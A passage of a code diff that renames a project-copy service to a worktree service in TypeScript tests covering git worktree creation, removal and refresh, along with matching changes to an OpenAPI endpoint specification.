||||
yield* Effect.promise(() => initRepo(root.path))
|
||||
const linked = `${root.path}-linked`
|
||||
yield* Effect.addFinalizer(() =>
|
||||
Effect.promise(() => fs.rm(linked, { recursive: true, force: true })).pipe(Effect.ignore),
|
||||
)
|
||||
yield* Effect.promise(() => $`git worktree add ${linked} -b linked-${Date.now()}`.cwd(root.path).quiet())
|
||||
const project = yield* Project.Service
|
||||
|
||||
const resolved = yield* project.resolve(abs(linked))
|
||||
|
||||
expect(yield* stored(resolved.id)).toEqual(
|
||||
[
|
||||
{ directory: abs(yield* Effect.promise(() => fs.realpath(root.path))), strategy: null },
|
||||
{ directory: abs(yield* Effect.promise(() => fs.realpath(linked))), strategy: "git" },
|
||||
].toSorted((a, b) => a.directory.localeCompare(b.directory)),
|
||||
)
|
||||
}),
|
||||
)
|
||||
|
||||
it.effect("accepts arbitrary non-empty strategy ids", () =>
|
||||
Effect.sync(() => {
|
||||
expect(String(ProjectCopy.StrategyID.make("acme/snapshot"))).toBe("acme/snapshot")
|
||||
expect(() => ProjectCopy.StrategyID.make(" acme/snapshot ")).toThrow()
|
||||
expect(() => ProjectCopy.StrategyID.make(" ")).toThrow()
|
||||
expect(String(Worktree.StrategyID.make("acme/snapshot"))).toBe("acme/snapshot")
|
||||
expect(() => Worktree.StrategyID.make(" acme/snapshot ")).toThrow()
|
||||
expect(() => Worktree.StrategyID.make(" ")).toThrow()
|
||||
}),
|
||||
)
|
||||
|
||||
it.effect("reports unavailable strategy ids", () =>
|
||||
Effect.gen(function* () {
|
||||
const input = yield* setup()
|
||||
const copy = yield* ProjectCopy.Service
|
||||
const unavailable = ProjectCopy.StrategyID.make("acme/missing")
|
||||
const error = yield* copy
|
||||
const worktree = yield* Worktree.Service
|
||||
const unavailable = Worktree.StrategyID.make("acme/missing")
|
||||
const error = yield* worktree
|
||||
.create({
|
||||
projectID: input.projectID,
|
||||
strategy: unavailable,
|
||||
sourceDirectory: input.sourceDirectory,
|
||||
from: input.sourceDirectory,
|
||||
directory: abs(`${input.root.path}-missing-strategy`),
|
||||
name: "copy",
|
||||
name: "worktree",
|
||||
})
|
||||
.pipe(Effect.flip)
|
||||
expect(error).toBeInstanceOf(ProjectCopy.StrategyUnavailableError)
|
||||
if (error instanceof ProjectCopy.StrategyUnavailableError) expect(error.strategy).toBe(unavailable)
|
||||
expect(error).toBeInstanceOf(Worktree.StrategyUnavailableError)
|
||||
if (error instanceof Worktree.StrategyUnavailableError) expect(error.strategy).toBe(unavailable)
|
||||
}),
|
||||
)
|
||||
|
||||
it.live("requires a tracked project worktree", () =>
|
||||
Effect.gen(function* () {
|
||||
const input = yield* setup()
|
||||
yield* input.db
|
||||
.delete(WorktreeTable)
|
||||
.where(eq(WorktreeTable.project_id, input.projectID))
|
||||
.run()
|
||||
.pipe(Effect.orDie)
|
||||
const worktree = yield* Worktree.Service
|
||||
|
||||
const error = yield* worktree
|
||||
.create({
|
||||
projectID: input.projectID,
|
||||
strategy: gitWorktree,
|
||||
from: input.sourceDirectory,
|
||||
directory: abs(`${input.root.path}-missing-source`),
|
||||
name: "worktree",
|
||||
})
|
||||
.pipe(Effect.flip)
|
||||
|
||||
expect(error).toBeInstanceOf(Worktree.SourceDirectoryNotFoundError)
|
||||
if (error instanceof Worktree.SourceDirectoryNotFoundError) expect(error.directory).toBe(input.sourceDirectory)
|
||||
}),
|
||||
)
|
||||
|
||||
it.live("creates and removes a git worktree directory", () =>
|
||||
Effect.gen(function* () {
|
||||
const input = yield* setup()
|
||||
const copy = yield* ProjectCopy.Service
|
||||
const worktree = yield* Worktree.Service
|
||||
const bus = yield* Bus.Service
|
||||
const temp = yield* Effect.promise(() => fs.realpath(path.dirname(input.root.path)))
|
||||
const parent = abs(path.join(temp, path.basename(input.root.path) + "-copy-created"))
|
||||
const target = abs(path.join(parent, "copy"))
|
||||
const parent = abs(path.join(temp, path.basename(input.root.path) + "-worktree-created"))
|
||||
const target = abs(path.join(parent, "worktree"))
|
||||
yield* Effect.addFinalizer(() =>
|
||||
Effect.promise(() => fs.rm(parent, { recursive: true, force: true })).pipe(Effect.ignore),
|
||||
)
|
||||
const fiber = yield* bus
|
||||
.subscribe(ProjectCopy.Event.Updated)
|
||||
.subscribe(Worktree.Event.Updated)
|
||||
.pipe(Stream.take(1), Stream.runCollect, Effect.forkScoped)
|
||||
yield* Effect.yieldNow
|
||||
|
||||
const created = yield* copy.create({
|
||||
const created = yield* worktree.create({
|
||||
projectID: input.projectID,
|
||||
strategy: gitWorktree,
|
||||
sourceDirectory: input.sourceDirectory,
|
||||
directory: parent,
|
||||
name: "copy",
|
||||
name: "worktree",
|
||||
})
|
||||
expect(created.directory).toBe(target)
|
||||
expect(yield* stored(input.projectID)).toEqual(
|
||||
[
|
||||
{ directory: input.sourceDirectory, strategy: null },
|
||||
{ directory: created.directory, strategy: "git_worktree" },
|
||||
{ directory: created.directory, strategy: "git" },
|
||||
].toSorted((a, b) => a.directory.localeCompare(b.directory)),
|
||||
)
|
||||
expect(Array.from(yield* Fiber.join(fiber))[0]?.data).toEqual({ projectID: input.projectID })
|
||||
|
||||
yield* copy.remove({ projectID: input.projectID, directory: created.directory, force: false })
|
||||
yield* worktree.remove({ projectID: input.projectID, directory: created.directory, force: false })
|
||||
|
||||
expect(yield* stored(input.projectID)).toEqual([{ directory: input.sourceDirectory, strategy: null }])
|
||||
expect(yield* Effect.promise(() => Bun.file(target).exists())).toBe(false)
|
||||
}),
|
||||
)
|
||||
|
||||
it.live("rejects a missing source directory", () =>
|
||||
Effect.gen(function* () {
|
||||
const input = yield* setup()
|
||||
const worktree = yield* Worktree.Service
|
||||
const temp = yield* Effect.promise(() => fs.realpath(path.dirname(input.root.path)))
|
||||
|
||||
const error = yield* worktree
|
||||
.create({
|
||||
projectID: input.projectID,
|
||||
strategy: gitWorktree,
|
||||
from: abs(path.join(temp, "does-not-exist")),
|
||||
directory: abs(`${input.root.path}-missing-directory`),
|
||||
name: "worktree",
|
||||
})
|
||||
.pipe(Effect.flip)
|
||||
|
||||
expect(error).toBeInstanceOf(WorktreeDirectory.DirectoryUnavailableError)
|
||||
}),
|
||||
)
|
||||
|
||||
it.live("creates from another managed worktree", () =>
|
||||
Effect.gen(function* () {
|
||||
const input = yield* setup()
|
||||
const worktree = yield* Worktree.Service
|
||||
const temp = yield* Effect.promise(() => fs.realpath(path.dirname(input.root.path)))
|
||||
const sourceParent = abs(path.join(temp, path.basename(input.root.path) + "-managed-source"))
|
||||
const targetParent = abs(path.join(temp, path.basename(input.root.path) + "-managed-target"))
|
||||
yield* Effect.addFinalizer(() =>
|
||||
Effect.all([
|
||||
Effect.promise(() => fs.rm(sourceParent, { recursive: true, force: true })).pipe(Effect.ignore),
|
||||
Effect.promise(() => fs.rm(targetParent, { recursive: true, force: true })).pipe(Effect.ignore),
|
||||
]).pipe(Effect.asVoid),
|
||||
)
|
||||
const source = yield* worktree.create({
|
||||
projectID: input.projectID,
|
||||
strategy: gitWorktree,
|
||||
from: input.sourceDirectory,
|
||||
directory: sourceParent,
|
||||
name: "source",
|
||||
})
|
||||
yield* input.db
|
||||
.delete(WorktreeTable)
|
||||
.where(and(eq(WorktreeTable.project_id, input.projectID), isNull(WorktreeTable.strategy)))
|
||||
.run()
|
||||
.pipe(Effect.orDie)
|
||||
|
||||
const created = yield* worktree.create({
|
||||
projectID: input.projectID,
|
||||
strategy: gitWorktree,
|
||||
from: source.directory,
|
||||
directory: targetParent,
|
||||
name: "target",
|
||||
})
|
||||
|
||||
expect(created.directory).toBe(abs(path.join(targetParent, "target")))
|
||||
yield* worktree.remove({ projectID: input.projectID, directory: created.directory, force: false })
|
||||
yield* worktree.remove({ projectID: input.projectID, directory: source.directory, force: false })
|
||||
}),
|
||||
)
|
||||
|
||||
it.live("requires force to remove a dirty git worktree", () =>
|
||||
Effect.gen(function* () {
|
||||
const input = yield* setup()
|
||||
const copy = yield* ProjectCopy.Service
|
||||
const worktree = yield* Worktree.Service
|
||||
const temp = yield* Effect.promise(() => fs.realpath(path.dirname(input.root.path)))
|
||||
const parent = abs(path.join(temp, path.basename(input.root.path) + "-copy-dirty"))
|
||||
const parent = abs(path.join(temp, path.basename(input.root.path) + "-worktree-dirty"))
|
||||
yield* Effect.addFinalizer(() =>
|
||||
Effect.promise(() => fs.rm(parent, { recursive: true, force: true })).pipe(Effect.ignore),
|
||||
)
|
||||
const created = yield* copy.create({
|
||||
const created = yield* worktree.create({
|
||||
projectID: input.projectID,
|
||||
strategy: gitWorktree,
|
||||
sourceDirectory: input.sourceDirectory,
|
||||
from: input.sourceDirectory,
|
||||
directory: parent,
|
||||
name: "copy",
|
||||
name: "worktree",
|
||||
})
|
||||
yield* Effect.promise(() => Bun.write(path.join(created.directory, "dirty.txt"), "dirty"))
|
||||
|
||||
const error = yield* copy
|
||||
const error = yield* worktree
|
||||
.remove({ projectID: input.projectID, directory: created.directory, force: false })
|
||||
.pipe(Effect.flip)
|
||||
|
||||
@@ -168,115 +279,115 @@ describe("ProjectCopy", () => {
|
||||
expect(error.operation).toBe("remove")
|
||||
expect(error.forceRequired).toBe(true)
|
||||
}
|
||||
expect(yield* stored(input.projectID)).toContainEqual({ directory: created.directory, strategy: "git_worktree" })
|
||||
expect(yield* stored(input.projectID)).toContainEqual({ directory: created.directory, strategy: "git" })
|
||||
expect(yield* Effect.promise(() => Bun.file(path.join(created.directory, "dirty.txt")).exists())).toBe(true)
|
||||
|
||||
yield* copy.remove({ projectID: input.projectID, directory: created.directory, force: true })
|
||||
yield* worktree.remove({ projectID: input.projectID, directory: created.directory, force: true })
|
||||
expect(yield* Effect.promise(() => Bun.file(created.directory).exists())).toBe(false)
|
||||
}),
|
||||
)
|
||||
|
||||
it.live("preserves copies whose stored strategy is unavailable", () =>
|
||||
it.live("preserves worktrees whose stored strategy is unavailable", () =>
|
||||
Effect.gen(function* () {
|
||||
const input = yield* setup()
|
||||
const copy = yield* ProjectCopy.Service
|
||||
const unavailable = abs(`${input.root.path}-copy-unavailable`)
|
||||
const worktree = yield* Worktree.Service
|
||||
const unavailable = abs(`${input.root.path}-worktree-unavailable`)
|
||||
yield* Effect.promise(() => fs.mkdir(unavailable))
|
||||
yield* Effect.addFinalizer(() => Effect.promise(() => fs.rm(unavailable, { recursive: true, force: true })))
|
||||
yield* input.db
|
||||
.insert(ProjectDirectoryTable)
|
||||
.insert(WorktreeTable)
|
||||
.values({ project_id: input.projectID, directory: unavailable, strategy: "acme/missing" })
|
||||
.run()
|
||||
.pipe(Effect.orDie)
|
||||
|
||||
const error = yield* copy
|
||||
const error = yield* worktree
|
||||
.remove({ projectID: input.projectID, directory: unavailable, force: false })
|
||||
.pipe(Effect.flip)
|
||||
|
||||
expect(error).toBeInstanceOf(ProjectCopy.StrategyUnavailableError)
|
||||
expect(error).toBeInstanceOf(Worktree.StrategyUnavailableError)
|
||||
expect(yield* stored(input.projectID)).toContainEqual({ directory: unavailable, strategy: "acme/missing" })
|
||||
}),
|
||||
)
|
||||
|
||||
it.live("adds a numeric suffix when a copy directory already exists", () =>
|
||||
it.live("adds a numeric suffix when a worktree directory already exists", () =>
|
||||
Effect.gen(function* () {
|
||||
const input = yield* setup()
|
||||
const copy = yield* ProjectCopy.Service
|
||||
const worktree = yield* Worktree.Service
|
||||
const temp = yield* Effect.promise(() => fs.realpath(path.dirname(input.root.path)))
|
||||
const parent = abs(path.join(temp, path.basename(input.root.path) + "-copy-suffix"))
|
||||
const target = abs(path.join(parent, "copy-3"))
|
||||
const parent = abs(path.join(temp, path.basename(input.root.path) + "-worktree-suffix"))
|
||||
const target = abs(path.join(parent, "worktree-3"))
|
||||
yield* Effect.addFinalizer(() =>
|
||||
Effect.promise(() => fs.rm(parent, { recursive: true, force: true })).pipe(Effect.ignore),
|
||||
)
|
||||
yield* Effect.promise(() => fs.mkdir(path.join(parent, "copy"), { recursive: true }))
|
||||
yield* Effect.promise(() => fs.mkdir(path.join(parent, "copy-2")))
|
||||
yield* Effect.promise(() => fs.mkdir(path.join(parent, "worktree"), { recursive: true }))
|
||||
yield* Effect.promise(() => fs.mkdir(path.join(parent, "worktree-2")))
|
||||
|
||||
const created = yield* copy.create({
|
||||
const created = yield* worktree.create({
|
||||
projectID: input.projectID,
|
||||
strategy: gitWorktree,
|
||||
sourceDirectory: input.sourceDirectory,
|
||||
from: input.sourceDirectory,
|
||||
directory: parent,
|
||||
name: "copy",
|
||||
name: "worktree",
|
||||
})
|
||||
|
||||
expect(created.directory).toBe(target)
|
||||
expect(yield* Effect.promise(() => fs.stat(path.join(parent, "copy")).then((item) => item.isDirectory()))).toBe(
|
||||
true,
|
||||
)
|
||||
expect(yield* Effect.promise(() => fs.stat(path.join(parent, "copy-2")).then((item) => item.isDirectory()))).toBe(
|
||||
true,
|
||||
)
|
||||
expect(
|
||||
yield* Effect.promise(() => fs.stat(path.join(parent, "worktree")).then((item) => item.isDirectory())),
|
||||
).toBe(true)
|
||||
expect(
|
||||
yield* Effect.promise(() => fs.stat(path.join(parent, "worktree-2")).then((item) => item.isDirectory())),
|
||||
).toBe(true)
|
||||
|
||||
yield* copy.remove({ projectID: input.projectID, directory: created.directory, force: false })
|
||||
yield* worktree.remove({ projectID: input.projectID, directory: created.directory, force: false })
|
||||
}),
|
||||
)
|
||||
|
||||
it.live("fails after ten copy directory conflicts", () =>
|
||||
it.live("fails after ten worktree directory conflicts", () =>
|
||||
Effect.gen(function* () {
|
||||
const input = yield* setup()
|
||||
const copy = yield* ProjectCopy.Service
|
||||
const worktree = yield* Worktree.Service
|
||||
const temp = yield* Effect.promise(() => fs.realpath(path.dirname(input.root.path)))
|
||||
const parent = abs(path.join(temp, path.basename(input.root.path) + "-copy-conflicts"))
|
||||
const parent = abs(path.join(temp, path.basename(input.root.path) + "-worktree-conflicts"))
|
||||
yield* Effect.addFinalizer(() =>
|
||||
Effect.promise(() => fs.rm(parent, { recursive: true, force: true })).pipe(Effect.ignore),
|
||||
)
|
||||
yield* Effect.promise(() =>
|
||||
Promise.all(
|
||||
Array.from({ length: 10 }, (_, index) =>
|
||||
fs.mkdir(path.join(parent, index === 0 ? "copy" : `copy-${index + 1}`), { recursive: true }),
|
||||
fs.mkdir(path.join(parent, index === 0 ? "worktree" : `worktree-${index + 1}`), { recursive: true }),
|
||||
),
|
||||
),
|
||||
)
|
||||
|
||||
const error = yield* copy
|
||||
const error = yield* worktree
|
||||
.create({
|
||||
projectID: input.projectID,
|
||||
strategy: gitWorktree,
|
||||
sourceDirectory: input.sourceDirectory,
|
||||
from: input.sourceDirectory,
|
||||
directory: parent,
|
||||
name: "copy",
|
||||
name: "worktree",
|
||||
})
|
||||
.pipe(Effect.flip)
|
||||
|
||||
expect(error).toBeInstanceOf(ProjectCopy.DestinationExistsError)
|
||||
if (error instanceof ProjectCopy.DestinationExistsError)
|
||||
expect(error.directory).toBe(abs(path.join(parent, "copy-10")))
|
||||
expect(error).toBeInstanceOf(Worktree.DestinationExistsError)
|
||||
if (error instanceof Worktree.DestinationExistsError)
|
||||
expect(error.directory).toBe(abs(path.join(parent, "worktree-10")))
|
||||
}),
|
||||
)
|
||||
|
||||
it.live("does not publish an event when refresh finds no directory changes", () =>
|
||||
Effect.gen(function* () {
|
||||
const input = yield* setup()
|
||||
const copy = yield* ProjectCopy.Service
|
||||
const worktree = yield* Worktree.Service
|
||||
const bus = yield* Bus.Service
|
||||
const event = yield* bus.subscribe(ProjectCopy.Event.Updated).pipe(
|
||||
const event = yield* bus.subscribe(Worktree.Event.Updated).pipe(
|
||||
Stream.take(1),
|
||||
Stream.runCollect,
|
||||
Effect.forkScoped,
|
||||
Effect.flatMap((fiber) =>
|
||||
Effect.gen(function* () {
|
||||
yield* Effect.yieldNow
|
||||
yield* copy.refresh({ projectID: input.projectID })
|
||||
yield* worktree.refresh({ projectID: input.projectID })
|
||||
return yield* Fiber.join(fiber).pipe(Effect.timeoutOption("50 millis"))
|
||||
}),
|
||||
),
|
||||
@@ -289,36 +400,36 @@ describe("ProjectCopy", () => {
|
||||
it.live("refresh discovers and prunes an externally managed git worktree", () =>
|
||||
Effect.gen(function* () {
|
||||
const input = yield* setup()
|
||||
const copy = yield* ProjectCopy.Service
|
||||
const worktree = yield* Worktree.Service
|
||||
const bus = yield* Bus.Service
|
||||
const target = abs(`${input.root.path}-copy-external`)
|
||||
const target = abs(`${input.root.path}-worktree-external`)
|
||||
yield* Effect.addFinalizer(() =>
|
||||
Effect.promise(() => fs.rm(target, { recursive: true, force: true })).pipe(Effect.ignore),
|
||||
)
|
||||
yield* Effect.promise(() => $`git worktree add --detach ${target} HEAD`.cwd(input.root.path).quiet())
|
||||
yield* input.db
|
||||
.insert(ProjectDirectoryTable)
|
||||
.insert(WorktreeTable)
|
||||
.values({ project_id: input.projectID, directory: target })
|
||||
.run()
|
||||
.pipe(Effect.orDie)
|
||||
const fiber = yield* bus
|
||||
.subscribe(ProjectCopy.Event.Updated)
|
||||
.subscribe(Worktree.Event.Updated)
|
||||
.pipe(Stream.take(1), Stream.runCollect, Effect.forkScoped)
|
||||
yield* Effect.yieldNow
|
||||
|
||||
const discovered = abs(yield* Effect.promise(() => fs.realpath(target)))
|
||||
expect(yield* copy.refresh({ projectID: input.projectID })).toEqual({ updated: [discovered], removed: [] })
|
||||
expect(yield* worktree.refresh({ projectID: input.projectID })).toEqual({ updated: [discovered], removed: [] })
|
||||
|
||||
expect(yield* stored(input.projectID)).toEqual(
|
||||
[
|
||||
{ directory: input.sourceDirectory, strategy: null },
|
||||
{ directory: discovered, strategy: "git_worktree" },
|
||||
{ directory: discovered, strategy: "git" },
|
||||
].toSorted((a, b) => a.directory.localeCompare(b.directory)),
|
||||
)
|
||||
expect(Array.from(yield* Fiber.join(fiber))[0]?.data).toEqual({ projectID: input.projectID })
|
||||
|
||||
yield* Effect.promise(() => $`git worktree remove --force ${target}`.cwd(input.root.path).quiet())
|
||||
expect(yield* copy.refresh({ projectID: input.projectID })).toEqual({ updated: [], removed: [discovered] })
|
||||
expect(yield* worktree.refresh({ projectID: input.projectID })).toEqual({ updated: [], removed: [discovered] })
|
||||
expect(yield* stored(input.projectID)).toEqual([{ directory: input.sourceDirectory, strategy: null }])
|
||||
}),
|
||||
)
|
||||
@@ -326,9 +437,9 @@ describe("ProjectCopy", () => {
|
||||
it.live("refresh ignores stale git worktree registrations", () =>
|
||||
Effect.gen(function* () {
|
||||
const input = yield* setup()
|
||||
const copy = yield* ProjectCopy.Service
|
||||
const stale = abs(`${input.root.path}-copy-stale`)
|
||||
const target = abs(`${input.root.path}-copy-after-stale`)
|
||||
const worktree = yield* Worktree.Service
|
||||
const stale = abs(`${input.root.path}-worktree-stale`)
|
||||
const target = abs(`${input.root.path}-worktree-after-stale`)
|
||||
yield* Effect.addFinalizer(() =>
|
||||
Effect.promise(() => fs.rm(target, { recursive: true, force: true })).pipe(Effect.ignore),
|
||||
)
|
||||
@@ -336,13 +447,13 @@ describe("ProjectCopy", () => {
|
||||
yield* Effect.promise(() => fs.rm(stale, { recursive: true, force: true }))
|
||||
yield* Effect.promise(() => $`git worktree add --detach ${target} HEAD`.cwd(input.root.path).quiet())
|
||||
|
||||
yield* copy.refresh({ projectID: input.projectID })
|
||||
yield* worktree.refresh({ projectID: input.projectID })
|
||||
|
||||
const discovered = abs(yield* Effect.promise(() => fs.realpath(target)))
|
||||
expect(yield* stored(input.projectID)).toEqual(
|
||||
[
|
||||
{ directory: input.sourceDirectory, strategy: null },
|
||||
{ directory: discovered, strategy: "git_worktree" },
|
||||
{ directory: discovered, strategy: "git" },
|
||||
].toSorted((a, b) => a.directory.localeCompare(b.directory)),
|
||||
)
|
||||
}),
|
||||
@@ -352,9 +463,9 @@ describe("ProjectCopy", () => {
|
||||
Effect.gen(function* () {
|
||||
const input = yield* setup()
|
||||
yield* Effect.promise(() => fs.rm(path.join(input.sourceDirectory, ".git"), { recursive: true }))
|
||||
const copy = yield* ProjectCopy.Service
|
||||
const worktree = yield* Worktree.Service
|
||||
|
||||
yield* copy.refresh({ projectID: input.projectID })
|
||||
yield* worktree.refresh({ projectID: input.projectID })
|
||||
|
||||
expect(yield* stored(input.projectID)).toEqual([{ directory: input.sourceDirectory, strategy: null }])
|
||||
}),
|
||||
@@ -362,9 +473,9 @@ describe("ProjectCopy", () => {
|
||||
|
||||
it.live("refresh with no roots is a no-op", () =>
|
||||
Effect.gen(function* () {
|
||||
const copy = yield* ProjectCopy.Service
|
||||
const worktree = yield* Worktree.Service
|
||||
|
||||
expect(yield* copy.refresh({ projectID: Project.ID.make("missing-project") })).toEqual({
|
||||
expect(yield* worktree.refresh({ projectID: Project.ID.make("missing-project") })).toEqual({
|
||||
updated: [],
|
||||
removed: [],
|
||||
})
|
||||
@@ -376,13 +487,13 @@ describe("ProjectCopy", () => {
|
||||
const input = yield* setup()
|
||||
const missing = abs(`${input.root.path}-missing-checkout`)
|
||||
yield* input.db
|
||||
.insert(ProjectDirectoryTable)
|
||||
.insert(WorktreeTable)
|
||||
.values({ project_id: input.projectID, directory: missing })
|
||||
.run()
|
||||
.pipe(Effect.orDie)
|
||||
const copy = yield* ProjectCopy.Service
|
||||
const worktree = yield* Worktree.Service
|
||||
|
||||
expect(yield* copy.refresh({ projectID: input.projectID })).toEqual({ updated: [], removed: [missing] })
|
||||
expect(yield* worktree.refresh({ projectID: input.projectID })).toEqual({ updated: [], removed: [missing] })
|
||||
|
||||
expect(yield* stored(input.projectID)).not.toContainEqual({ directory: missing, strategy: null })
|
||||
}),
|
||||
+116
-260
@@ -6949,97 +6949,6 @@
|
||||
"summary": "Get current project"
|
||||
}
|
||||
},
|
||||
"/api/project/{projectID}/directories": {
|
||||
"get": {
|
||||
"tags": ["project"],
|
||||
"operationId": "v2.project.directories",
|
||||
"parameters": [
|
||||
{
|
||||
"name": "projectID",
|
||||
"in": "path",
|
||||
"schema": {
|
||||
"type": "string"
|
||||
},
|
||||
"required": true
|
||||
},
|
||||
{
|
||||
"name": "location",
|
||||
"in": "query",
|
||||
"schema": {
|
||||
"anyOf": [
|
||||
{
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"directory": {
|
||||
"anyOf": [
|
||||
{
|
||||
"type": "string"
|
||||
},
|
||||
{
|
||||
"type": "null"
|
||||
}
|
||||
]
|
||||
},
|
||||
"workspace": {
|
||||
"anyOf": [
|
||||
{
|
||||
"type": "string"
|
||||
},
|
||||
{
|
||||
"type": "null"
|
||||
}
|
||||
]
|
||||
}
|
||||
},
|
||||
"additionalProperties": false
|
||||
},
|
||||
{
|
||||
"type": "null"
|
||||
}
|
||||
]
|
||||
},
|
||||
"required": false,
|
||||
"style": "deepObject",
|
||||
"explode": true
|
||||
}
|
||||
],
|
||||
"security": [],
|
||||
"responses": {
|
||||
"200": {
|
||||
"description": "Project.Directories",
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"$ref": "#/components/schemas/Project.Directories"
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"400": {
|
||||
"description": "InvalidRequestError",
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"$ref": "#/components/schemas/InvalidRequestError"
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"401": {
|
||||
"description": "UnauthorizedError",
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"$ref": "#/components/schemas/UnauthorizedError"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"description": "List known local absolute directories for a project.",
|
||||
"summary": "List project directories"
|
||||
}
|
||||
},
|
||||
"/api/form/request": {
|
||||
"get": {
|
||||
"tags": ["form"],
|
||||
@@ -8024,6 +7933,9 @@
|
||||
"type": "string"
|
||||
}
|
||||
},
|
||||
"opaque": {
|
||||
"type": "boolean"
|
||||
},
|
||||
"metadata": {
|
||||
"type": "object"
|
||||
},
|
||||
@@ -10978,10 +10890,10 @@
|
||||
"summary": "List references"
|
||||
}
|
||||
},
|
||||
"/api/experimental/project/{projectID}/copy": {
|
||||
"post": {
|
||||
"tags": ["projectCopy"],
|
||||
"operationId": "v2.projectCopy.create",
|
||||
"/api/experimental/project/{projectID}/worktree": {
|
||||
"get": {
|
||||
"tags": ["worktree"],
|
||||
"operationId": "v2.worktree.list",
|
||||
"parameters": [
|
||||
{
|
||||
"name": "projectID",
|
||||
@@ -10990,68 +10902,77 @@
|
||||
"type": "string"
|
||||
},
|
||||
"required": true
|
||||
},
|
||||
{
|
||||
"name": "location",
|
||||
"in": "query",
|
||||
"schema": {
|
||||
"anyOf": [
|
||||
{
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"directory": {
|
||||
"anyOf": [
|
||||
{
|
||||
"type": "string"
|
||||
},
|
||||
{
|
||||
"type": "null"
|
||||
}
|
||||
]
|
||||
},
|
||||
"workspace": {
|
||||
"anyOf": [
|
||||
{
|
||||
"type": "string"
|
||||
},
|
||||
{
|
||||
"type": "null"
|
||||
}
|
||||
]
|
||||
}
|
||||
},
|
||||
"additionalProperties": false
|
||||
},
|
||||
{
|
||||
"type": "null"
|
||||
}
|
||||
]
|
||||
},
|
||||
"required": false,
|
||||
"style": "deepObject",
|
||||
"explode": true
|
||||
}
|
||||
],
|
||||
"security": [],
|
||||
"responses": {
|
||||
"200": {
|
||||
"description": "ProjectCopy.Copy",
|
||||
"description": "Worktree.List",
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"$ref": "#/components/schemas/ProjectCopy.Copy"
|
||||
"$ref": "#/components/schemas/Worktree.List"
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"400": {
|
||||
"description": "ProjectCopyError | InvalidRequestError",
|
||||
"description": "InvalidRequestError",
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"$ref": "#/components/schemas/InvalidRequestError"
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"401": {
|
||||
"description": "UnauthorizedError",
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"$ref": "#/components/schemas/UnauthorizedError"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"description": "List known local worktrees for a project.",
|
||||
"summary": "List worktrees"
|
||||
},
|
||||
"post": {
|
||||
"tags": ["worktree"],
|
||||
"operationId": "v2.worktree.create",
|
||||
"parameters": [
|
||||
{
|
||||
"name": "projectID",
|
||||
"in": "path",
|
||||
"schema": {
|
||||
"type": "string"
|
||||
},
|
||||
"required": true
|
||||
}
|
||||
],
|
||||
"security": [],
|
||||
"responses": {
|
||||
"200": {
|
||||
"description": "Worktree.Info",
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"$ref": "#/components/schemas/Worktree.Info"
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"400": {
|
||||
"description": "WorktreeError | InvalidRequestError",
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"anyOf": [
|
||||
{
|
||||
"$ref": "#/components/schemas/ProjectCopyError"
|
||||
"$ref": "#/components/schemas/WorktreeError"
|
||||
},
|
||||
{
|
||||
"$ref": "#/components/schemas/InvalidRequestError"
|
||||
@@ -11072,6 +10993,8 @@
|
||||
}
|
||||
}
|
||||
},
|
||||
"description": "Create a worktree for a project.",
|
||||
"summary": "Create worktree",
|
||||
"requestBody": {
|
||||
"content": {
|
||||
"application/json": {
|
||||
@@ -11081,6 +11004,9 @@
|
||||
"strategy": {
|
||||
"type": "string"
|
||||
},
|
||||
"from": {
|
||||
"type": "string"
|
||||
},
|
||||
"directory": {
|
||||
"type": "string"
|
||||
},
|
||||
@@ -11097,8 +11023,8 @@
|
||||
}
|
||||
},
|
||||
"delete": {
|
||||
"tags": ["projectCopy"],
|
||||
"operationId": "v2.projectCopy.remove",
|
||||
"tags": ["worktree"],
|
||||
"operationId": "v2.worktree.remove",
|
||||
"parameters": [
|
||||
{
|
||||
"name": "projectID",
|
||||
@@ -11107,46 +11033,6 @@
|
||||
"type": "string"
|
||||
},
|
||||
"required": true
|
||||
},
|
||||
{
|
||||
"name": "location",
|
||||
"in": "query",
|
||||
"schema": {
|
||||
"anyOf": [
|
||||
{
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"directory": {
|
||||
"anyOf": [
|
||||
{
|
||||
"type": "string"
|
||||
},
|
||||
{
|
||||
"type": "null"
|
||||
}
|
||||
]
|
||||
},
|
||||
"workspace": {
|
||||
"anyOf": [
|
||||
{
|
||||
"type": "string"
|
||||
},
|
||||
{
|
||||
"type": "null"
|
||||
}
|
||||
]
|
||||
}
|
||||
},
|
||||
"additionalProperties": false
|
||||
},
|
||||
{
|
||||
"type": "null"
|
||||
}
|
||||
]
|
||||
},
|
||||
"required": false,
|
||||
"style": "deepObject",
|
||||
"explode": true
|
||||
}
|
||||
],
|
||||
"security": [],
|
||||
@@ -11155,13 +11041,13 @@
|
||||
"description": "<No Content>"
|
||||
},
|
||||
"400": {
|
||||
"description": "ProjectCopyError | InvalidRequestError",
|
||||
"description": "WorktreeError | InvalidRequestError",
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"anyOf": [
|
||||
{
|
||||
"$ref": "#/components/schemas/ProjectCopyError"
|
||||
"$ref": "#/components/schemas/WorktreeError"
|
||||
},
|
||||
{
|
||||
"$ref": "#/components/schemas/InvalidRequestError"
|
||||
@@ -11182,6 +11068,8 @@
|
||||
}
|
||||
}
|
||||
},
|
||||
"description": "Remove a managed worktree from a project.",
|
||||
"summary": "Remove worktree",
|
||||
"requestBody": {
|
||||
"content": {
|
||||
"application/json": {
|
||||
@@ -11204,10 +11092,10 @@
|
||||
}
|
||||
}
|
||||
},
|
||||
